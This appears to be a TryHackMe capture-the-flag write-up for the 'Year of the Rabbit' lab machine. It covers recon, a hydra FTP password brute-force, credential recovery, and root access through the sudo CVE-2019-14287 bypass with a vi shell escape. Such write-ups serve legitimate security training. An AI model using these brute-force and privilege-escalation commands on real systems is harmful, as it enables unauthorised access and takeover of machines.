> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/year-of-the-rabbit.md).

# Year of the Rabbit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhkBaiDiz205cF1Y6F%2F-Mbhqyp24gh_82Mj9kYK%2Fimage.png?alt=media\&token=e4ec39e9-4b72-4b2e-a7fa-40140346ba10)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.165.1
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhrgbjxqzIp8HOjPoV%2Fimage.png?alt=media\&token=16bd5776-66e0-4adf-a80f-f08e637c5226)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.165.1
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhrjUURvLR8Te6PpPM%2Fimage.png?alt=media\&token=e25b3a59-15c7-4fd3-8950-3af04c96fc27)

## Enumeration 

Lets visit the webserver

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-Mbhs80zuo5C8DHFDTTr%2Fimage.png?alt=media\&token=7db7162d-b200-4747-bcfa-8d26e294b087)

It an apache2 default page, lets run gobuster to find hidden directories and pages.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.165.1 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhtOpsyEggQwM0oDFh%2Fimage.png?alt=media\&token=bc44cb92-1e92-450e-976e-552c4a7d8b2f)

We found a directory called /assets lets go visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhtfZG7rlUXZ7nmMCR%2Fimage.png?alt=media\&token=69060ae5-8612-46b7-9950-cbfef66bb159)

There are two files, lets check the first one which is a mp4 file , a video file. First we get a message telling us to turn off Javascript, followed by a redirection to a Rick Astley video . RICK ROLLED!

Lets go turn off Javascript, Navigate to `about:config` in the browser and then search for Javascript, change the `javascript.enabled` parameter to false.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhvkGKYqTtBMEU0hut%2Fimage.png?alt=media\&token=efa750da-952a-4b75-b4f3-6ef46044990b)

Also looking at the other file, we need something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-Mbhw7EZm5Jo7vOWHBGQ%2Fimage.png?alt=media\&token=f517a2e3-bdea-4257-8fc7-71e015590638)

Lets visit this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhwK2TmjsJabmLM4hG%2Fimage.png?alt=media\&token=fa1aee05-c809-4dcc-bd93-09421b646640)

Listening through the audio, at second 56 we get the hint: "I'll put you out of your misery **burp** you're looking in the wrong place. Looking at this they are probably hinting to use `Burpsuite` so lets do that. 

Lets capture the request of visiting this page. After capturing the request and forwarding it once, you get something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhxWhvv3F-yCqNVtvn%2Fimage.png?alt=media\&token=792b83ec-3207-4c0c-b7c6-6198c0a0be2b)

Its a directory, lets go visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhyCSuatWuDxvFmPWo%2Fimage.png?alt=media\&token=f8898a52-3ce5-4bfc-bfee-2e10ddb0f83e)

There is one file, lets check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhyHlUNqB2OF5NME1l%2Fimage.png?alt=media\&token=4d01d5b9-8dfb-404a-97e1-66ccbc85dbc0)

Its a picture. Lets use our steganography skills to see if there is anything hidden in the picture. First we need to download the file, so lets do that.

```
wget http://10.10.165.1/WExYY2Cv-qU/Hot_Babe.png
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhymfyC0r93jKa84CV%2Fimage.png?alt=media\&token=e9a1377d-a72f-4000-ace7-fac3fb9d8765)

Now lets use `steghide` and `binwalk` to see if we can find anything in this image. There was nothing, so l just used strings on the image.

```
strings Hot_Babe.png
```

Once I did this, I got some output and scrolling up a bit I got something interest

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhzKkJrLQorFF69A2b%2Fimage.png?alt=media\&token=9b475c35-a75a-4879-947a-d4754b53ac38)

So we have a username and a password list, lets copy the password list to a file and use `hydra` to bruteforce ftp with the username and password list we have. I saved the password into a list called `passwords.lst`

## Exploitation

```
hydra -l ftpuser -P password.lst 10.10.165.1 ftp
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhzsPuJF87duApFJyJ%2Fimage.png?alt=media\&token=72860d12-897a-4c02-a45f-b239e0a9506b)

We found the password, lets login through ftp

```
ftp 10.10.165.1
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-2UyDQ-BNZZcFkVj%2Fimage.png?alt=media\&token=e0aba9bb-da75-4acb-8428-96c31c4466a4)

We are logged in, lets list the files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-8Na6SH2hvnaoCIV%2Fimage.png?alt=media\&token=6da19c3a-c896-4b76-9b49-6e65966a78eb)

Looks like there is a text file, lets transfer this to our machine

```
get Eli's_Creds.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-QD92eyKyAZuJbUx%2Fimage.png?alt=media\&token=3fd8018d-6233-4607-9e6e-1cb36805d377)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-lJ_c1BzZmkf7RZf%2Fimage.png?alt=media\&token=830c4985-acea-4967-8cee-5358a30c8839)

I don't understand this code, so lets put it in a tool that does understand it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi-s4BtadlwivlWU1t%2F-Mbi0Fwt_1JmA8JMd6Qm%2Fimage.png?alt=media\&token=549df008-860c-4a1a-a3a5-0489fcef11c5)

Now we have a password, lets use this to login through ssh with the username we found too.

```
ssh eli@10.10.165.1 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi-s4BtadlwivlWU1t%2F-Mbi0TxeZPxVd00QhZMT%2Fimage.png?alt=media\&token=8f12ec06-cfee-4dd5-8904-861f89755d57)

We are logged in, we can see a message for us. We can find the user flag here but we are not allowed to read it. So we have to escalate privileges.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi-s4BtadlwivlWU1t%2F-Mbi0iqcdCdmGiLFrndj%2Fimage.png?alt=media\&token=c664dfe7-f0c1-468b-838b-045618a2a442)

When we logged in, we see a message for us, there seems to be a `leet s3cr3t hiding place`, and there is a hidden message there waiting for us. Lets find it using this command.

```
find / -name s3cr3t 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi1fssV7eiWUvgorwy%2Fimage.png?alt=media\&token=f32335ae-a033-43f4-9c80-0bb4cef8c16c)

Its a directory so lets change directories into it.

```
cd /usr/games/s3cr3t
```

Lets list the files in the directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi1wPFqQsHDirdFjdY%2Fimage.png?alt=media\&token=c48cb401-94bd-4bb6-afed-7a16339bbffa)

Lets read the this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi25WtEb56fE3O7KQO%2Fimage.png?alt=media\&token=c60b60ae-d845-4ccc-8772-d1e103859b2e)

Looks like we have the password to the user `Gwendoline` , so lets switch users.

```
su gwendoline
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi7-rZ_aYYVpU4xdku%2Fimage.png?alt=media\&token=599af7bf-52e6-489f-b2af-57846652f64d)

We can now read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi7EVXwjv-xRdrEv3I%2Fimage.png?alt=media\&token=47191324-1ab3-4c0e-b4d6-355a99317dfe)

## Privilege Escalation

Lets run `sudo -l`  to see what this user can run as root 

```
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi7VzIlTHk-lJZ2yT_%2Fimage.png?alt=media\&token=ff5e9663-b064-4d06-8c8e-681997fa589f)

Looks like we can run `/usr/bin/vi /home/gwendoline/user.txt` as root, I found this [article ](https://www.whitesourcesoftware.com/resources/blog/new-vulnerability-in-sudo-cve-2019-14287/)that explains very well on what to do. First we use the command

```
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

And then we use this command

```
:!/bin/bash
```

And you are now root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi8h3eUTze56OzG-3b%2Fimage.png?alt=media\&token=7662fc5c-4fbc-4d3f-994d-2fc0e35e28af)

We can read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi8ocIopv4bJINWTxL%2Fimage.png?alt=media\&token=e1178322-7876-4cd1-8f39-66979da61cc3)